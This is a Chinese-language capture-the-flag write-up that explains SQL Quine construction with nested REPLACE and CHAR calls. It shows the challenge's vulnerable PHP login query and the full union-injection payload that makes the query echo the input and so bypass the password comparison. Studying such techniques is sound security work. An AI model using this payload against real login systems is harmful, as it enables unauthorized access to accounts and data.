# 前言
这个点之前从来没见过,故记录一下
# 正片
直接把题拿出来看,其实暂时不用怎么看,大概知道一下就行
$password=$_POST['password']; | |
if ($username !== 'admin') { | |
alertMes('only admin can login', 'index.php'); | |
} | |
checkSql($password); | |
$sql="SELECT password FROM users WHERE username='admin' and password='$password';"; | |
$user_result=mysqli_query($con,$sql); | |
$row = mysqli_fetch_array($user_result); | |
if (!$row) { | |
alertMes("something wrong",'index.php'); | |
} | |
if ($row['password'] === $password) { | |
die($FLAG); | |
} |
题目要求数据库里的 password 和传入的 psd 强相等,爆了之后发现数据库中的 password 是空表。看似就没有任何办法做到相等然后出 flag 了。
但是有一种方法可以
# 什么是 Quine
Quine 就是输入和输出的语句完全一致,例如:
<<this is in | |
>>this is in |
如果能做到这样,使用某种办法将输入的内容原封不动输出出来,就完成了一次 Quine 构造
在 sql 中能利用 replace 函数做到 Quine 构造
replace () 函数
replace (object,search,replace) 把 object 对象中出现的 search 全部替换成 replace
构造的基本形式就是
REPLACE(str,编码的间隔符,str) |
其中,str 为
REPLACE(间隔符,编码的间隔符,间隔符) |
组合就变成了 ==>
REPLACE (<span style="color:red">REPLACE (间隔符,编码的间隔符,间隔符)</span>, 编码的间隔符,<span style="color:blue">REPLACE (间隔符,编码的间隔符,间隔符)</span>)
↑str1 ↑str2
这样就把 str1 中的间隔符又换成了 str2,具体的替换用颜色表示一下
<span style="color:red">REPLACE (<span style="color:blue">REPLACE (间隔符,编码的间隔符,间隔符)</span>, 编码的间隔符,<span style="color:blue">REPLACE (间隔符,编码的间隔符,间隔符)</span>)</span>
可以见得,这样替换之后的内容就大致相同了
直接给出一条语句试一下
select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")'); | |
+---------------------------------------------------------------------------+ | |
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') | | |
+---------------------------------------------------------------------------+ | |
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") | | |
+---------------------------------------------------------------------------+ |
细致看一下,还是有单双引号的区别。不能一直用双引号 "
,会导致异常闭合,所以得单引号里嵌套双引号。
Quine: REPLACE('str',编码的间隔符,'str') | |
str: REPLACE("间隔符",编码的间隔符,"间隔符") |
运算后的结果是 REPLACE("str",编码的间隔符,"str")
,所以让结果的 str 也用单引号包裹就能让输入和查询结果完全一致了
那要如何解决但双引号不一致的问题呢?很简单,再 replace 一下就好了。 CHAR(34)="
, CHAR(39)='
Quine:REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str') | |
str:REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符") |
实际上是先将 str 里的双引号替换成单引号,再用 str 替换 str 里的间隔符
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")'); | |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+ | |
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') | | |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+ | |
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') | | |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+ |
# 再从 payload 理解为什么要用 Quine
第五空间智能安全大赛 - Web-yet_another_mysql_injection
$password=$_POST['password']; | |
if ($username !== 'admin') { | |
alertMes('only admin can login', 'index.php'); | |
} | |
checkSql($password); | |
$sql="SELECT password FROM users WHERE username='admin' and password='$password';"; | |
$user_result=mysqli_query($con,$sql); | |
$row = mysqli_fetch_array($user_result); | |
if (!$row) { | |
alertMes("something wrong",'index.php'); | |
} | |
if ($row['password'] === $password) { | |
die($FLAG); | |
} |
waf 封了空格,直接用内联就行了。这里为了方便看就用回空格
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
组合 sql 语句就是:
SELECT password FROM users WHERE username='admin' and password='1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#';
这时候,由于使用的是联合注入,当前文报错,就会回显后面的
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#';
这就让 $row ['password'] 等于了这一串,而这一串刚好和输入的 $psw 相等,完成了绕过